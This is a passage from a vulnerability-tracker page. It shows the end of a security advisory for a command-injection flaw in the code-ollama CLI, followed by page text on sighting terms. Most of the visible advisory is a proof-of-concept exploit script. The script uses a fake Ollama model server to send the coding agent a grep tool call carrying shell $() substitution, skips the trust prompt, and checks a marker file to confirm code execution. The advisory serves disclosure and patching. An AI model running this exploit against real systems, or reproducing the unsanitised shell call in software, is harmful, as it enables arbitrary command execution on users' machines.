ai-action/code-ollama v0.36.0\")\n    print(\"Sink   : src/utils/tools/filesystem/grep.ts:65\")\n    print(\"=\" * 65)\n    print()\n    print(f\"[*] Payload  : {INJECTED_CMD}\")\n    print(f\"[*] Marker   : {MARKER_FILE}\")\n    print()\n\n    # Clean up any leftover marker from a previous run\n    if os.path.exists(MARKER_FILE):\n        os.unlink(MARKER_FILE)\n        print(f\"[*] Removed stale marker file: {MARKER_FILE}\")\n\n    # -----------------------------------------------------------------------\n    # 1. Start the fake Ollama server\n    # -----------------------------------------------------------------------\n    print(f\"[*] Starting fake Ollama server on \"\n          f\"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...\")\n    start_fake_server()\n    time.sleep(0.4)   # give the server socket time to bind\n\n    # -----------------------------------------------------------------------\n    # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server\n    #    --trust skips the interactive directory-trust prompt (src/cli.ts:214)\n    # -----------------------------------------------------------------------\n    env = os.environ.copy()\n    env[\"OLLAMA_HOST\"] = f\"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}\"\n\n    # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile\n    cmd = [\n        \"node\", \"/app/dist/cli.js\",\n        \"run\", \"--trust\", \"fake\", \"search the code\",\n    ]\n\n    print(f\"[*] Executing: {\u0027 \u0027.join(cmd)}\")\n    print(f\"[*] OLLAMA_HOST={env[\u0027OLLAMA_HOST\u0027]}\")\n    print()\n\n    try:\n        result = subprocess.run(\n            cmd,\n            env=env,\n            stdin=subprocess.DEVNULL,   # no TTY / interactive input needed\n            capture_output=True,\n            text=True,\n            timeout=60,\n            cwd=\"/workspace\",\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[-] code-ollama subprocess timed out after 60 s\")\n        sys.exit(1)\n\n    print(\"--- code-ollama stdout ---\")\n    print(result.stdout[:3000] if result.stdout else \"(empty)\")\n    print(\"--- code-ollama stderr ---\")\n    print(result.stderr[:3000] if result.stderr else \"(empty)\")\n    print(f\"--- exit code: {result.returncode} ---\")\n    print()\n\n    # -----------------------------------------------------------------------\n    # 3. Verify exploitation: check for the marker file\n    # -----------------------------------------------------------------------\n    if os.path.exists(MARKER_FILE):\n        evidence = open(MARKER_FILE).read().strip()\n        print(\"[+] ============================================================\")\n        print(\"[+] EXPLOITATION CONFIRMED\")\n        print(\"[+] ============================================================\")\n        print(f\"[+] Marker file : {MARKER_FILE}\")\n        print(f\"[+] Contents    : {evidence!r}\")\n        print(\"[+] Explanation : The $() command substitution inside the\")\n        print(\"[+]   grep_search pattern was NOT escaped by code-ollama\u0027s\")\n        print(\"[+]   sanitizer (grep.ts:58-63 only strips \\\\ and \\\").\")\n        print(\"[+]   execShell() passed the raw string to child_process.exec()\")\n        print(\"[+]   which ran it through /bin/sh, executing the injected\")\n        print(\"[+]   command as the current user.\")\n        print(\"[+] ============================================================\")\n        sys.exit(0)\n    else:\n        print(\"[-] ============================================================\")\n        print(\"[-] EXPLOITATION FAILED\")\n        print(f\"[-] Expected marker file NOT found: {MARKER_FILE}\")\n        print(\"[-] Possible causes:\")\n        print(\"[-]   - ollama-npm parsed tool_call.arguments differently\")\n        print(\"[-]   - The pattern was sanitized before reaching execShell()\")\n        print(\"[-]   - ripgrep is not installed so the fallback path was taken\")\n        print(\"[-]   - The shell used does not support $() substitution\")\n        print(\"[-] ============================================================\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-456v-xq2p-r4cj",
  "modified": "2026-09-28T13:59:43Z",
  "published": "2026-09-28T13:59:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ai-action/code-ollama/security/advisories/GHSA-456v-xq2p-r4cj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ai-action/code-ollama"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…